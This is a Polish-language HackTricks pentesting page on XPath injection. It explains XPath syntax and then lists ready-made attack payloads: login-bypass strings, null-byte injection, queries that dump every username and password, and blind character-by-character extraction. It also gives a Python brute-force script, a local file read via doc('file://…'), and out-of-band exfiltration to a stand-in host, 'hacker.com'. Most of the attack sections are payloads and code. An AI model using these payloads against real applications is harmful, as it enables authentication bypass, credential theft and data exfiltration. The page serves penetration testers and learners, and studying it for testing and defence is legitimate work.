hacktricks/pentesting-web/xpath-injection.md

325 lines
14 KiB
Markdown

# XPATH injection
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie dla HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności o hackingu w czasie rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
## Podstawowa składnia
Technika ataku znana jako XPath Injection jest wykorzystywana do wykorzystania aplikacji, które tworzą zapytania XPath (XML Path Language) na podstawie danych wejściowych użytkownika, aby zapytać lub nawigować po dokumentach XML.
### Opis węzłów
Wyrażenia są używane do wybierania różnych węzłów w dokumencie XML. Te wyrażenia i ich opisy są podsumowane poniżej:
* **nodename**: Wybierane są wszystkie węzły o nazwie "nodename".
* **/**: Wybór dokonywany jest z węzła głównego.
* **//**: Wybierane są węzły pasujące do wyboru z bieżącego węzła, niezależnie od ich lokalizacji w dokumencie.
* **.**: Wybierany jest bieżący węzeł.
* **..**: Wybierany jest rodzic bieżącego węzła.
* **@**: Wybierane są atrybuty.
### Przykłady XPath
Przykłady wyrażeń ścieżkowych i ich wyniki obejmują:
* **bookstore**: Wybierane są wszystkie węzły o nazwie "bookstore".
* **/bookstore**: Wybierany jest element główny bookstore. Zauważono, że absolutna ścieżka do elementu jest reprezentowana przez ścieżkę zaczynającą się od ukośnika (/).
* **bookstore/book**: Wybierane są wszystkie elementy book, które są dziećmi bookstore.
* **//book**: Wybierane są wszystkie elementy book w dokumencie, niezależnie od ich lokalizacji.
* **bookstore//book**: Wybierane są wszystkie elementy book, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore.
* **//@lang**: Wybierane są wszystkie atrybuty o nazwie lang.
### Wykorzystanie predykatów
Predykaty są używane do precyzowania wyborów:
* **/bookstore/book\[1]**: Wybierany jest pierwszy element book będący dzieckiem elementu bookstore. Obejście dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako \[0], polega na ustawieniu SelectionLanguage na XPath za pomocą JavaScript.
* **/bookstore/book\[last()]**: Wybierany jest ostatni element book będący dzieckiem elementu bookstore.
* **/bookstore/book\[last()-1]**: Wybierany jest przedostatni element book będący dzieckiem elementu bookstore.
* **/bookstore/book\[position()<3]**: Wybierane dwa pierwsze elementy book będące dziećmi elementu bookstore.
* **//title\[@lang]**: Wybierane wszystkie elementy title z atrybutem lang.
* **//title\[@lang='en']**: Wybierane wszystkie elementy title z wartością atrybutu "lang" równą "en".
* **/bookstore/book\[price>35.00]**: Wybierane są wszystkie elementy book w bookstore z ceną większą niż 35.00.
* **/bookstore/book\[price>35.00]/title**: Wybierane są wszystkie elementy title elementów book w bookstore z ceną większą niż 35.00.
### Obsługa nieznanych węzłów
Znaki wieloznaczne są używane do dopasowywania nieznanych węzłów:
* **\***: Pasuje do dowolnego węzła elementu.
* **@**\*: Pasuje do dowolnego węzła atrybutu.
* **node()**: Pasuje do dowolnego węzła dowolnego rodzaju.
Dalsze przykłady obejmują:
* **/bookstore/\***: Wybiera wszystkie węzły elementów dzieci elementu bookstore.
* **//\***: Wybiera wszystkie elementy w dokumencie.
* **//title\[@\*]**: Wybiera wszystkie elementy title z co najmniej jednym atrybutem dowolnego rodzaju.
## Przykład
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### Uzyskaj dostęp do informacji
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identyfikacja i kradzież schematu
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Ominięcie uwierzytelniania
### **Przykład zapytań:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OR obejście w użytkowniku i haśle (ta sama wartość w obu)**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
### **Wykorzystywanie wstrzyknięcia null**
```
Username: ' or 1]%00
```
### **Podwójne OR w nazwie użytkownika lub haśle** (jest ważne tylko z 1 podatnym polem)
WAŻNE: Zauważ, że **"i" jest pierwszą operacją wykonaną**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## Ekstrakcja ciągów
Wynik zawiera ciągi, a użytkownik może manipulować wartościami, aby wyszukiwać:
```
/user/username[contains(., '+VALUE+')]
```
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## Blind Explotation
### **Uzyskaj długość wartości i wyodrębnij ją przez porównania:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Przykład Pythona**
```python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Odczytaj plik
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB Wykorzystanie
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Automatyczne narzędzie
* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)
## Odniesienia
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Wsparcie HackTricks</summary>
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
</details>
{% endhint %}